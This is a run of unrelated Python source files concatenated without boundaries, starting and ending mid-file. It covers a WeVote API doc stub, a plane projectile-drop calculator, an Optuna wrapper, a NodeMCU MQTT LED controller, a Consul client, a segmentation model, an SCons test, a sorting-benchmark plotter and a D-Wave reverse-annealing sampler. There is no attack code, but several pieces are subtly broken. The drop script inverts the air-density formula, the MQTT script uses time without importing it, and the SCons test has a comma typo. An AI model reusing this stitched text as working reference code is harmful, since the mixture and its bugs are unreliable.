string 'description': 'An 88 character unique identifier linked to a voter record on the server', }, { 'name': 'api_key', 'value': 'string (from post, cookie, or get (in that order))', # boolean, integer, long, string 'description': 'The unique key provided to any organization using the WeVoteServer APIs', }, ] optional_query_parameter_list = [ { 'name': 'auto_followed_from_twitter_suggestion', 'value': 'boolean', # boolean, integer, long, string 'description': 'True default retrieve auto followed organizations.' 'If False, retrieve all organizations followed by voter' '(includes twitter auto followed organizations)', }, ] potential_status_codes_list = [ { 'code': 'VALID_VOTER_DEVICE_ID_MISSING', 'description': 'Cannot proceed. A valid voter_device_id parameter was not included.', }, { 'code': 'VALID_VOTER_ID_MISSING', 'description': 'Cannot proceed. A valid voter_id was not found.', }, # { # 'code': '', # 'description': '', # }, ] try_now_link_variables_dict = { 'auto_followed_from_twitter_suggestion': 'False', } # Changes made here should also be made in organizations_retrieve api_response = '{\n' \ ' "status": string,\n' \ ' "success": boolean,\n' \ ' "voter_device_id": string (88 characters long),\n' \ ' "organization_list": list\n' \ ' [\n' \ ' "organization_id": integer (the id of the organization found),\n' \ ' "organization_we_vote_id": string (the organization ' \ 'identifier that moves server-to-server),\n' \ ' "organization_name": string (value from Google),\n' \ ' "organization_website": string (website address),\n' \ ' "organization_twitter_handle": string (twitter address),\n' \ ' "twitter_followers_count": integer,\n' \ ' "twitter_description": string,\n' \ ' "organization_email": string,\n' \ ' "organization_facebook": string,\n' \ ' "organization_photo_url_large": string,\n' \ ' "organization_photo_url_medium": string,\n' \ ' "organization_photo_url_tiny": string,\n' \ ' ],\n' \ '}' template_values = { 'api_name': 'organizationsFollowedRetrieve', 'api_slug': 'organizationsFollowedRetrieve', 'api_introduction': "A list of all organizations followed by this voter includes automatically followed from twitter. " "(Or show the organizations this voter is following automatically from twitter only " "if auto_followed_from_twitter_suggestion is True.)", 'try_now_link': 'apis_v1:organizationsFollowedRetrieveView', 'try_now_link_variables_dict': try_now_link_variables_dict, 'url_root': url_root, 'get_or_post': 'GET', 'required_query_parameter_list': required_query_parameter_list, 'optional_query_parameter_list': optional_query_parameter_list, 'api_response': api_response, 'api_response_notes': "", 'potential_status_codes_list': potential_status_codes_list, } return template_values 0 ''' The drop algorithm assumes that we are perfectly headed towards the Therefore, as a groundstation control member, we require both a drop algorithm and a method for lining up the plane with the target http://ijiet.com/wp-content/uploads/2017/01/5711.pdf ''' import time import math class Coordinate: def __init__(self, lat, lon): self.lat = lat self.lon = lon # Keep track of projectile properties prior to drop class Projectile(): # Temperature in Kelvin, Air pressure in PA=a def __init__(self, air_temperature, air_pressure, drag_coef, surface_area, mass, i_vel, i_alt, i_ws): gas_constant = 287.07 self.air_density = air_temperature / ( gas_constant * air_pressure ) self.drag_coef = drag_coef self.surface_area = surface_area self.mass = mass self.velocity = i_vel # Can be estimated using IMU self.altitude = i_alt # Can be estimated using Barometer self.wind_speed = i_ws # Can be estimated using Pitot tube def _drag_force(self): ''' Return drag force ''' return (0.5) * self.air_density * self.drag_coef * self.surface_area def drag_mass_ratio(self): return ( ( self._drag_force() ) / self.mass ) # Compare accuracy of range based on time_step and iterations def ProjectileRange(time_step, iterations, projectile): gravity = 9.806 x,y = 0,1 elapsed = 0 # Initial kinematic states acc = [0, 0] vel = [projectile.velocity, 0] disp = [0, projectile.altitude] while iterations: # Calculate x and y acceleration based on velocity, drag, and mass acc[x] = -1 * projectile.drag_mass_ratio() * ( vel[x]**2 ) acc[y] = gravity - ( projectile.drag_mass_ratio() * ( vel[y]**2 ) ) # Update velocity based on acceleration vel[x] = vel[x] + ( acc[x] * time_step ) vel[y] = vel[y] + ( acc[y] * time_step ) # Update displacement disp[x] = disp[x] + ( vel[x] * time_step ) + ( 0.5 * acc[x] * (time_step**2) ) disp[y] = disp[y] - ( vel[y] * time_step ) + ( 0.5 * acc[y] * (time_step**2) ) # Update elapsed time elapsed += time_step # Update displacement iterations -= 1 # Projectile range is determined when y-displacement equals or drops below 0 if disp[y] <= 0: print('Projectile landed') return disp[x], elapsed, iterations raise Exception('Failed to reach altitude of 0. Modify initial projectile parameters or increase iterations') # Returns predicted ideal drop lat/lon based on current coordinates, target coordinates, and the range of the projectile def DropCoordinates(current, target, range_value): # Range in kilometres delta_lat_rad = math.radians( (target.lat - current.lat) ) delta_lon_rad = math.radians( (target.lon - current.lon) ) print(delta_lat_rad, delta_lon_rad) theta = math.atan2( delta_lon_rad, delta_lat_rad ) release_lat = ( target.lat - ( range_value * math.sin(theta) ) ) release_lon = ( target.lon - ( range_value * math.cos(theta) ) ) print(release_lat, release_lon) return Coordinate( release_lat, release_lon ) def CtoKelvin(c): return c + 273.15 def kPatoPa(kPa): return kPa*1000 def main(): print('Projectile test') projectile = Projectile( air_temperature = CtoKelvin( 20 ), air_pressure = kPatoPa( 101.1 ), drag_coef = 1, surface_area = 1, mass = 0.250, i_vel = 15, i_alt = 100, i_ws = 5 ) start = time.time() iterations = 3000 results = ProjectileRange( 0.02, iterations, projectile ) end = time.time() print('Range test. Range %f metres, Time %f seconds, Iterations %d, Running time %f milliseconds' % (results[0], results[1], (iterations - results[2]), (end-start) * 1000)) # With the range in mind, we can approximate our lat/lon coordinates to x,y coordinates. Then abs(target.x - current.x) then we see the difference between our current predicted range and the distance between. Predicted # drop location is abs(target.x - current.x) - range if __name__ == "__main__": main() from typing import Callable from typing import List, Optional import tensorflow as tf import optuna from optuna import Trial from tftk import Context class Optuna(): instance = None dict = {} @classmethod def start_optuna(cls, objective:Callable, storage:str=None, num_of_trials:int=25, direction="minimize"): study = optuna.create_study(storage=storage, direction=direction) study.optimize(objective,n_trials=num_of_trials) @classmethod def get_optuna_conext(cls, training_name:str, trial:Trial)->Context: """トライアルの開始準備をする。Objective関数の最初に呼び出してください。 Parameters: trial : 開始するトライアルオブジェクト """ print("get_context", trial) cls.trial = trial context = Context.init_context(training_name) context[Context.OPTUNA] = True context[Context.OPTUNA_TRIAL] = trial return context @classmethod def suggest_choice(cls, name, choice:List): instance = Optuna.get_instance() u = cls.trial.suggest_choice(choice) instance.dict[name] = u @classmethod def suggest_discrete_uniform(cls, name, low, high, q): instance = Optuna.get_instance() u = cls.trial.suggest_discrete_uniform(name, low, high, q) instance.dict[name] = u @classmethod def suggest_float(cls, name: str, low: float, high: float, step: Optional[float] = None, log: bool = False): instance = Optuna.get_instance() u = cls.trial.suggest_float(name, low, high) instance.dict[name] = u @classmethod def get_value(cls, name:str, default=None): instance = Optuna.get_instance() if name in instance.dict: return instance.dict[name] else: return default @classmethod def get_instance(cls): if cls.instance == None: cls.instance = Optuna() return cls.instance Voice_Automation_NodeMCU/mqtt_publish.py from umqtt.simple import MQTTClient from machine import I2C, Pin import machine import ubinascii import ssd1306 # Setup a GPIO Pin for output led = Pin(12, Pin.OUT) button = Pin(13, Pin.IN) pin = machine.Pin(2, machine.Pin.OUT) i2c = I2C(-1, Pin(5), Pin(4)) display = ssd1306.SSD1306_I2C(128, 64, i2c) display.fill(0) display.text('Pi4IoT', 30, 0) display.text('LED: OFF', 30, 20) display.show() # Modify below section as required CONFIG = { # Configuration details of the MQTT broker "MQTT_BROKER": "192.168.0.42", "USER": "", "PASSWORD": "", "PORT": 1883, "TOPIC": b"test", # unique identifier of the chip "CLIENT_ID": b"esp8266_" + ubinascii.hexlify(machine.unique_id()) } # Method to act based on message received def onMessage(topic, msg): print("Topic: %s, Message: %s" % (topic, msg)) display.fill(0) display.text('Pi4IoT', 30, 0) if msg == b"on": pin.off() led.on() display.text('LED: ON', 30, 20) elif msg == b"off": pin.on() led.off() display.text('LED: OFF', 30, 20) display.show() def listen(): #Create an instance of MQTTClient client = MQTTClient(CONFIG['CLIENT_ID'], CONFIG['MQTT_BROKER'], user=CONFIG['USER'], password=CONFIG['PASSWORD'], port=CONFIG['PORT']) # Attach call back handler to be called on receiving messages client.set_callback(onMessage) client.connect() client.publish(CONFIG['TOPIC'], "ESP8266 is Connected") client.publish(CONFIG['TOPIC'], "off") client.subscribe(CONFIG['TOPIC']) print("ESP8266 is Connected to %s and subscribed to %s topic" % (CONFIG['MQTT_BROKER'], CONFIG['TOPIC'])) try: while True: #msg = client.wait_msg() msg = (client.check_msg()) if button.value() == 1: print("Button pressed") display.fill(0) display.text('Pi4IoT', 30, 0) if led.value() == 1: client.publish(CONFIG['TOPIC'], b"off") display.text('LED: OFF', 30, 20) else: client.publish(CONFIG['TOPIC'], b"on") display.text('LED: ON', 30, 20) display.show() time.sleep_ms(500) finally: client.disconnect() listen() edad = int(input("Introduce tu edad: ")) while edad < 0 or edad > 110: print("Has introducido una edad incorrecta. Vuelve a intentarlo.") edad = int(input("Introduce tu edad: ")) print(f"Tienes {edad} años. Gracias por colaborar.") consul/std.py import requests from six.moves import urllib from consul import base __all__ = ['Consul'] class HTTPClient(base.HTTPClient): def __init__(self, *args, **kwargs): super(HTTPClient, self).__init__(*args, **kwargs) if 'unix://' in self.base_uri: pr = urllib.parse.urlparse(self.base_uri) netloc = urllib.parse.quote_plus(pr.path) self.base_uri = 'http+unix://{0}'.format(netloc) try: import requests_unixsocket self.session = requests_unixsocket.Session() except ImportError: raise base.ConsulException('To use a unix socket to connect to' ' Consul you need to install the' ' "requests_unixsocket" package.') else: self.session = requests.session() def response(self, response): response.encoding = 'utf-8' return base.Response( response.status_code, response.headers, response.text) def get(self, callback, path, params=None): uri = self.uri(path, params) return callback(self.response( self.session.get(uri, verify=self.verify, cert=self.cert))) def put(self, callback, path, params=None, data=''): uri = self.uri(path, params) return callback(self.response( self.session.put(uri, data=data, verify=self.verify, cert=self.cert))) def delete(self, callback, path, params=None): uri = self.uri(path, params) return callback(self.response( self.session.delete(uri, verify=self.verify, cert=self.cert))) def post(self, callback, path, params=None, data=''): uri = self.uri(path, params) return callback(self.response( self.session.post(uri, data=data, verify=self.verify, cert=self.cert))) class Consul(base.Consul): def connect(self, base_uri, verify=True, cert=None, auth=None): return HTTPClient(base_uri, verify=verify, cert=cert, auth=auth) import json from abc import ABC, abstractmethod from typing import Type, Dict, Any, Generator from rest_framework.serializers import Serializer from docsie_universal_importer.providers.base import Downloader, StorageViewer, File from docsie_universal_importer.utils import required_class_attributes_checker from .serializers import DownloaderRequestSerializer, StorageTreeRequestSerializer class Adapter(ABC): request_serializer_cls: Type[Serializer] = None adapted_cls: Type[Any] = None def __init__(self, request): required_class_attributes_checker(self.__class__, 'request_serializer_cls', 'adapted_cls') self.request = request @property def adapted(self): return self.get_adapted() def get_adapted(self): serializer = self.get_serializer() init_kwargs = self.get_adapted_init_kwargs(serializer.data) adapted_cls = self.get_adapted_cls() return adapted_cls(**init_kwargs) def get_serializer(self) -> Serializer: request_data = self.get_request_data(self.request) serializer_cls = self.get_serializer_class() serializer = serializer_cls(data=request_data) serializer.is_valid(raise_exception=True) return serializer @abstractmethod def get_adapted_init_kwargs(self, validated_data: dict) -> Dict[str, Any]: pass @abstractmethod def get_request_data(self, request): pass def get_serializer_class(self) -> Type[Serializer]: return self.request_serializer_cls def get_adapted_cls(self): return self.adapted_cls class StorageViewerAdapter(Adapter): request_serializer_cls: Type[StorageTreeRequestSerializer] = None adapted_cls: Type[StorageViewer] = None def get_request_data(self, request): return request.GET.copy() class DownloaderAdapter(Adapter): request_serializer_cls: Type[DownloaderRequestSerializer] = None adapted_cls: Type[Downloader] = None def get_request_data(self, request): return json.loads(request.body) def get_files(self) -> Generator[File, None, None]: for file_kwargs in self.get_files_data(): yield self.adapted.get_file_from_kwargs(**file_kwargs) def get_files_data(self): serializer = self.get_serializer() return serializer.data['files'] segmentation_models_pytorch/bifpn/model.py from typing import Optional, Union from .decoder import BiFPNDecoder from ..base import SegmentationModel, SegmentationHead, ClassificationHead from ..encoders import get_encoder class BiFPN(SegmentationModel): """FPN_ is a fully convolution neural network for image semantic segmentation Args: encoder_name: name of classification model (without last dense layers) used as feature extractor to build segmentation model. encoder_depth: number of stages used in decoder, larger depth - more features are generated. e.g. for depth=3 encoder will generate list of features with following spatial shapes [(H,W), (H/2, W/2), (H/4, W/4), (H/8, W/8)], so in general the deepest feature will have spatial resolution (H/(2^depth), W/(2^depth)] encoder_weights: one of ``None`` (random initialization), ``imagenet`` (pre-training on ImageNet). decoder_pyramid_channels: a number of convolution filters in Feature Pyramid of FPN_. decoder_segmentation_channels: a number of convolution filters in segmentation head of FPN_. decoder_merge_policy: determines how to merge outputs inside FPN. One of [``add``, ``cat``] decoder_dropout: spatial dropout rate in range (0, 1). in_channels: number of input channels for model, default is 3. classes: a number of classes for output (output shape - ``(batch, classes, h, w)``). activation (str, callable): activation function used in ``.predict(x)`` method for inference. One of [``sigmoid``, ``softmax2d``, callable, None] upsampling: optional, final upsampling factor (default is 4 to preserve input -> output spatial shape identity) aux_params: if specified model will have additional classification auxiliary output build on top of encoder, supported params: - classes (int): number of classes - pooling (str): one of 'max', 'avg'. Default is 'avg'. - dropout (float): dropout factor in [0, 1) - activation (str): activation function to apply "sigmoid"/"softmax" (could be None to return logits) Returns: ``torch.nn.Module``: **FPN** .. _FPN: http://presentations.cocodataset.org/COCO17-Stuff-FAIR.pdf """ def __init__( self, encoder_name: str = "resnet34", encoder_depth: int = 5, encoder_weights: Optional[str] = "imagenet", decoder_pyramid_channels: int = 256, decoder_segmentation_channels: int = 128, decoder_merge_policy: str = "add", decoder_dropout: float = 0.2, in_channels: int = 3, classes: int = 1, activation: Optional[str] = None, upsampling: int = 4, aux_params: Optional[dict] = None, ): super().__init__() self.encoder = get_encoder( encoder_name, in_channels=in_channels, depth=encoder_depth, weights=encoder_weights, ) self.decoder = BiFPNDecoder( encoder_channels=self.encoder.out_channels, encoder_depth=encoder_depth, pyramid_channels=decoder_pyramid_channels, segmentation_channels=decoder_segmentation_channels, dropout=decoder_dropout, merge_policy=decoder_merge_policy, ) self.segmentation_head = SegmentationHead( in_channels=self.decoder.out_channels, out_channels=classes, activation=activation, kernel_size=1, upsampling=upsampling, ) if aux_params is not None: self.classification_head = ClassificationHead( in_channels=self.encoder.out_channels[-1], **aux_params ) else: self.classification_head = None self.name = "fpn-{}".format(encoder_name) self.initialize() aiohttp_riak/Server.py1-10 from .exc import ErrorStats class Server(object): def __init__(self, client): self._client = client._client self._endpoint = client._endpoint async def ping(self): endpoint = "{0}/ping".format(self._endpoint) async with self._client.get(endpoint) as r: resp = await r.text() return resp async def stats(self): endpoint = "{0}/stats".format(self._endpoint) headers = {'content-type': 'application/json'} async with self._client.get(endpoint, headers=headers) as r: if r.status != 200: raise ErrorStats("Stats error. Check configuration riak.") resp = await r.json() return resp async def resources(self): headers = {'accept': 'application/json'} async with self._client.get(self._endpoint, headers=headers) as r: resp = await r.json() return resp test/SWIG/SWIG.py #!/usr/bin/env python # # Copyright (c) 2001 - 2016 The SCons Foundation # # Permission is hereby granted, free of charge, to any person obtaining # a copy of this software and associated documentation files (the # "Software"), to deal in the Software without restriction, including # without limitation the rights to use, copy, modify, merge, publish, # distribute, sublicense, and/or sell copies of the Software, and to # permit persons to whom the Software is furnished to do so, subject to # the following conditions: # # The above copyright notice and this permission notice shall be included # in all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY # KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE # WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND # NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE # LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION # OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION # WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. # __revision__ = "test/SWIG/SWIG.py rel_2.5.1:3735:9dc6cee5c168 2016/11/03 14:02:02 bdbaddog" """ Verify that the swig tool generates file names that we expect. """ import TestSCons _exe = TestSCons._exe _obj = TestSCons._obj test = TestSCons.TestSCons() python = test.where_is('python') if not python: test,skip_test('Can not find installed "python", skipping test.\n') test.write('myswig.py', r""" import getopt import sys opts, args = getopt.getopt(sys.argv[1:], 'c:o:v:') for opt, arg in opts: if opt == '-c': pass elif opt == '-o': out = arg elif opt == '-v' and arg == 'ersion': print "" print "SWIG Version 0.1.2" print "" print "Compiled with g++ [x86_64-pc-linux-gnu]" print "" print "Configured options: +pcre" print "" print "Please see http://www.swig.org for reporting bugs and further information" sys.exit(0) infile = open(args[0], 'rb') outfile = open(out, 'wb') for l in infile.readlines(): if l[:4] != 'swig': outfile.write(l) sys.exit(0) """) test.write('SConstruct', """ env = Environment(tools=['default', 'swig'], SWIG = [r'%(python)s', 'myswig.py']) print env.subst("Using SWIG $SWIGVERSION") env.Program(target = 'test1', source = 'test1.i') env.CFile(target = 'test2', source = 'test2.i') env.Clone(SWIGFLAGS = '-c++').Program(target = 'test3', source = 'test3.i') """ % locals()) test.write('test1.i', r""" #include #include int main(int argc, char *argv[]) { argv[argc++] = "--"; printf("test1.i\n"); exit (0); } swig """) test.write('test2.i', r"""test2.i swig """) test.write('test3.i', r""" #include #include int main(int argc, char *argv[]) { argv[argc++] = "--"; printf("test3.i\n"); exit (0); } swig """) test.run(arguments = '.', stderr = None, stdout = r'.*Using SWIG 0.1.2.*', match = TestSCons.match_re_dotall) test.run(program = test.workpath('test1' + _exe), stdout = "test1.i\n") test.must_exist(test.workpath('test1_wrap.c')) test.must_exist(test.workpath('test1_wrap' + _obj)) test.must_match('test2_wrap.c', "test2.i\n") test.run(program = test.workpath('test3' + _exe), stdout = "test3.i\n") test.must_exist(test.workpath('test3_wrap.cc')) test.must_exist(test.workpath('test3_wrap' + _obj)) test.pass_test() # Local Variables: # tab-width:4 # indent-tabs-mode:nil # End: # vim: set expandtab tabstop=4 shiftwidth=4: #!/usr/bin/env python3 # -*- coding: utf-8 -*- # # Copyright © 2017 # # @project: Data Structures UFC - 2017.2 # @author: # @email: # import sys from os import path import pandas as pd # python-pandas dependency import matplotlib.pyplot as plt from typing import List, Dict dpi = 300 csv_sep = ';' # fit best scale for each algorithm scales = { 'heapsort': (0, 600), 'mergesort': (0, 600), 'quicksort': (0, 600), # 'insertionsort': (0, 200000), # 'bubblesort': (0, 100000), } def load_dataframes(csvs: List[str]): dfs = {} for csv in csvs: df = pd.read_csv(csv, index_col=0, sep=csv_sep) df = df.loc[:, ~df.columns.str.contains('^Unnamed')] dfs[path.basename(csv)] = df return dfs def mean_time(df): "Calculate the mean of the experiments" return df.mean(axis=1) def mean_graph(dfs: Dict[str, pd.DataFrame]): "Make a graph comparing all the sorting algorithms" index = list(dfs.values())[0].index df_general = pd.DataFrame(index=index) for name, df in dfs.items(): df_general[name.strip('.csv').capitalize()] = mean_time(df) return df_general def save_graph_algorithm(name: str, df: List[pd.DataFrame]): "Make a graph based on its experiments and the mean value" name = name.strip('.csv') fig = plt.figure() df.columns = ['Experimento {}'.format(i) for i in range(1, 6)] ax = df.plot(title=name.capitalize(), kind='bar') ax.set_ylabel('Tempo (ms)') ax.set_xlabel('Elementos no vetor') ax.xaxis.set_tick_params(rotation=0) ax.minorticks_on() ax.set_axisbelow(True) if name in scales: plt.ylim(scales[name]) plt.tight_layout() plt.savefig(name + '.png', dpi=dpi) plt.close(fig) def save_graph_algorithms(dfs: Dict[str, pd.DataFrame], prefix=''): "Make a graph comparing all the sorting algorithms" print("Generating general graph {}".format(prefix)) df_general = mean_graph(dfs) fig = plt.figure() title = 'Algoritmos de Ordenação ' + prefix.capitalize() ax = df_general.plot(title=title, kind='line') ax.set_ylabel('Tempo (ms)') ax.set_xlabel('Elementos no vetor') ax.xaxis.set_tick_params(rotation=0) ax.minorticks_on() ax.set_axisbelow(True) fname = 'sorting' if prefix: fname = 'sorting-' + prefix plt.tight_layout() plt.savefig(fname+'.png', dpi=dpi) plt.close(fig) def save_graph_per_element(dfs: Dict[str, pd.DataFrame]): df_general = mean_graph(dfs) for loc, i in enumerate(df_general.index): fig = plt.figure() row = df_general.iloc[loc] ax = row.plot(title='Ordenação com {} elementos'.format(i), kind='bar') # recompute the ax.dataLim ax.relim() # update ax.viewLim using the new dataLim ax.autoscale_view() ax.set_ylabel('Tempo (ms)') ax.set_xlabel('') ax.legend().set_visible(False) ax.xaxis.set_tick_params(rotation=0) ax.minorticks_on() ax.set_axisbelow(True) plt.tight_layout() plt.savefig('sorting-{}.png'.format(i), dpi=dpi) plt.close(fig) def main(): dfs = load_dataframes(sys.argv[1:]) # save individual graphs for name, df in dfs.items(): print("Generating for: {}".format(name)) save_graph_algorithm(name, df) # save general graph nlogn = {'heapsort', 'mergesort', 'quicksort'} quadratic = {'insertionsort', 'bubblesort'} df_eff = dict((k, v) for k,v in dfs.items() if k.strip('.csv') in nlogn) df_ineff = dict((k, v) for k,v in dfs.items() if k.strip('.csv') in quadratic) save_graph_algorithms(dfs) save_graph_algorithms(df_eff, prefix='log-linear') save_graph_algorithms(df_ineff, prefix='quadratic') save_graph_per_element(dfs) if __name__ == '__main__': main() arcondello/dwave-systemdwave/system/composites/reversecomposite.py # Copyright 2019 D-Wave Systems Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """ Composites that do batch operations for reverse annealing. """ import collections.abc as abc import dimod import numpy as np __all__ = ['ReverseAdvanceComposite', 'ReverseBatchStatesComposite'] class ReverseAdvanceComposite(dimod.ComposedSampler): """ Composite that reverse anneals an initial sample through a sequence of anneal schedules. If you do not specify an initial sample, a random sample is used for the first submission. By default, each subsequent submission selects the most-found lowest-energy sample as its initial state. If you set reinitialize_state to False, which makes each submission behave like a random walk, the subsequent submission selects the last returned sample as its initial state. Args: sampler (:obj:`dimod.Sampler`): A dimod sampler. Examples: This example runs 100 reverse anneals each for three schedules on a problem constructed by setting random :math:`\pm 1` values on a clique (complete graph) of 15 nodes, minor-embedded on a D-Wave system using the :class:`.DWaveCliqueSampler` sampler. >>> import dimod >>> from dwave.system import DWaveCliqueSampler, ReverseAdvanceComposite ... >>> sampler = DWaveCliqueSampler() # doctest: +SKIP >>> sampler_reverse = ReverseAdvanceComposite(sampler) # doctest: +SKIP >>> schedule = [[[0.0, 1.0], [t, 0.5], [20, 1.0]] for t in (5, 10, 15)] ... >>> bqm = dimod.generators.ran_r(1, 15) >>> init_samples = {i: -1 for i in range(15)} >>> sampleset = sampler_reverse.sample(bqm, ... anneal_schedules=schedule, ... initial_state=init_samples, ... num_reads=100, ... reinitialize_state=True) # doctest: +SKIP """ def __init__(self, child_sampler): self._children = [child_sampler] @property def children(self): return self._children @property def parameters(self): param = self.child.parameters.copy() param['schedules'] = [] return param @property def properties(self): return {'child_properties': self.child.properties.copy()} def sample(self, bqm, anneal_schedules=None, **parameters): """Sample the binary quadratic model using reverse annealing along a given set of anneal schedules. Args: bqm (:obj:`dimod.BinaryQuadraticModel`): Binary quadratic model to be sampled from. anneal_schedules (list of lists, optional, default=[[[0, 1], [1, 0.35], [9, 0.35], [10, 1]]]): Anneal schedules in order of submission. Each schedule is formatted as a list of [time, s] pairs, in which time is in microseconds and s is the normalized persistent current in the range [0,1]. initial_state (dict, optional): The state to reverse anneal from. If not provided, it will be randomly generated. **parameters: Parameters for the sampling method, specified by the child sampler. Returns: :obj:`dimod.SampleSet` that has initial_state and schedule_index fields. Examples: This example runs 100 reverse anneals each for three schedules on a problem constructed by setting random :math:`\pm 1` values on a clique (complete graph) of 15 nodes, minor-embedded on a D-Wave system using the :class:`.DWaveCliqueSampler` sampler. >>> import dimod >>> from dwave.system import DWaveCliqueSampler, ReverseAdvanceComposite ... >>> sampler = DWaveCliqueSampler() # doctest: +SKIP >>> sampler_reverse = ReverseAdvanceComposite(sampler) # doctest: +SKIP >>> schedule = [[[0.0, 1.0], [t, 0.5], [20, 1.0]] for t in (5, 10, 15)] ... >>> bqm = dimod.generators.ran_r(1, 15) >>> init_samples = {i: -1 for i in range(15)} >>> sampleset = sampler_reverse.sample(bqm, ... anneal_schedules=schedule, ... initial_state=init_samples, ... num_reads=100, ... reinitialize_state=True) # doctest: +SKIP """ child = self.child if anneal_schedules is None: anneal_schedules = [[[0, 1], [1, 0.35], [9, 0.35], [10, 1]]] vartype_values = list(bqm.vartype.value) if 'initial_state' not in parameters: initial_state = dict(zip(list(bqm.variables), np.random.choice(vartype_values, len(bqm)))) else: initial_state = parameters.pop('initial_state') if not isinstance(initial_state, abc.Mapping): raise TypeError("initial state provided must be a dict, but received {}".format(initial_state)) if 'reinitialize_state' not in parameters: parameters['reinitialize_state'] = True if "answer_mode" in child.parameters: parameters['answer_mode'] = 'histogram' samplesets = None for schedule_idx, anneal_schedule in enumerate(anneal_schedules): sampleset = child.sample(bqm, anneal_schedule=anneal_schedule, initial_state=initial_state, **parameters) initial_state, _ = dimod.as_samples(initial_state) if 'initial_state' not in sampleset.record.dtype.names: init_state_vect = [] if parameters['reinitialize_state']: init_state_vect = [initial_state[0].copy() for i in range(len(sampleset.record.energy))] else: # each sample is the next sample's initial state init_state_vect.append(initial_state[0].copy()) for sample in sampleset.record.sample[:-1]: init_state_vect.append(sample) sampleset = dimod.append_data_vectors(sampleset, initial_state=init_state_vect) if 'schedule_index' not in sampleset.record.dtype.names: schedule_index_vect = [schedule_idx] * len(sampleset.record.energy) sampleset = dimod.append_data_vectors(sampleset, schedule_index=schedule_index_vect) if samplesets is None: samplesets = sampleset else: samplesets = dimod.concatenate((samplesets, sampleset)) if schedule_idx+1 == len(anneal_schedules): # no need to create the next initial state - last iteration break # prepare the initial state for the next iteration if parameters['reinitialize_state']: # if reinitialize is on, choose the lowest energy, most probable state for next iteration ground_state_energy = sampleset.first.energy lowest_energy_samples = sampleset.record[sampleset.record.energy == ground_state_energy] lowest_energy_samples.sort(order='num_occurrences') initial_state = dict(zip(sampleset.variables, lowest_energy_samples[-1].sample)) else: # if not reinitialized, take the last state as the next initial state initial_state = dict(zip(sampleset.variables, sampleset.record.sample[-1])) samplesets.info['anneal_schedules'] = anneal_schedules return samplesets class ReverseBatchStatesComposite(dimod.ComposedSampler, dimod.Initialized): """Composite that reverse anneals from multiple initial samples. Each submission is independent from one another. Args: sampler (:obj:`dimod.Sampler`): A dimod sampler. Examples: This example runs 100 reverse anneals each from two initial states on a problem constructed by setting random :math:`\pm 1` values on a clique (complete graph) of 15 nodes, minor-embedded on a D-Wave system using the :class:`.DWaveCliqueSampler` sampler. >>> import dimod >>> from dwave.system import DWaveCliqueSampler, ReverseBatchStatesComposite ... >>> sampler = DWaveCliqueSampler() # doctest: +SKIP >>> sampler_reverse = ReverseBatchStatesComposite(sampler) # doctest: +SKIP >>> schedule = [[0.0, 1.0], [10.0, 0.5], [20, 1.0]] ... >>> bqm = dimod.generators.ran_r(1, 15) >>> init_samples = [{i: -1 for i in range(15)}, {i: 1 for i in range(15)}] >>> sampleset = sampler_reverse.sample(bqm, ... anneal_schedule=schedule, ... initial_states=init_samples, ... num_reads=100, ... reinitialize_state=True) # doctest: +SKIP """ def __init__(self, child_sampler): self._children = [child_sampler] @property def children(self): return self._children @property def parameters(self): param = self.child.parameters.copy() param['initial_states'] = [] return param @property def properties(self): return {'child_properties': self.child.properties.copy()} def sample(self, bqm, initial_states=None, initial_states_generator='random', num_reads=None, seed=None, **parameters): """Sample the binary quadratic model using reverse annealing from multiple initial states. Args: bqm (:obj:`dimod.BinaryQuadraticModel`): Binary quadratic model to be sampled from. initial_states (samples-like, optional, default=None): One or more samples, each defining an initial state for all the problem variables. If fewer than `num_reads` initial states are defined, additional values are generated as specified by `initial_states_generator`. See :func:`dimod.as_samples` for a description of "samples-like". initial_states_generator ({'none', 'tile', 'random'}, optional, default='random'): Defines the expansion of `initial_states` if fewer than `num_reads` are specified: * "none": If the number of initial states specified is smaller than `num_reads`, raises ValueError. * "tile": Reuses the specified initial states if fewer than `num_reads` or truncates if greater. * "random": Expands the specified initial states with randomly generated states if fewer than `num_reads` or truncates if greater. num_reads (int, optional, default=len(initial_states) or 1): Equivalent to number of desired initial states. If greater than the number of provided initial states, additional states will be generated. If not provided, it is selected to match the length of `initial_states`. If `initial_states` is not provided, `num_reads` defaults to 1. seed (int (32-bit unsigned integer), optional): Seed to use for the PRNG. Specifying a particular seed with a constant set of parameters produces identical results. If not provided, a random seed is chosen. **parameters: Parameters for the sampling method, specified by the child sampler. Returns: :obj:`dimod.SampleSet` that has initial_state field. Examples: This example runs 100 reverse anneals each from two initial states on a problem constructed by setting random :math:`\pm 1` values on a clique (complete graph) of 15 nodes, minor-embedded on a D-Wave system using the :class:`.DWaveCliqueSampler` sampler. >>> import dimod >>> from dwave.system import DWaveCliqueSampler, ReverseBatchStatesComposite ... >>> sampler = DWaveCliqueSampler() # doctest: +SKIP >>> sampler_reverse = ReverseBatchStatesComposite(sampler) # doctest: +SKIP >>> schedule = [[0.0, 1.0], [10.0, 0.5], [20, 1.0]] ... >>> bqm = dimod.generators.ran_r(1, 15) >>> init_samples = [{i: -1 for i in range(15)}, {i: 1 for i in range(15)}] >>> sampleset = sampler_reverse.sample(bqm, ... anneal_schedule=schedule, ... initial_states=init_samples, ... num_reads=100, ... reinitialize_state=True) # doctest: +SKIP """ child = self.child parsed = self.parse_initial_states(bqm, initial_states=initial_states, initial_states_generator=initial_states_generator, num_reads=num_reads, seed=seed) parsed_initial_states = np.ascontiguousarray(parsed.initial_states.record.sample) # there is gonna be way too much data generated - better to histogram them if possible if 'answer_mode' in child.parameters: parameters['answer_mode'] = 'histogram' # reduce number of network calls if possible by aggregating init states if 'num_reads' in 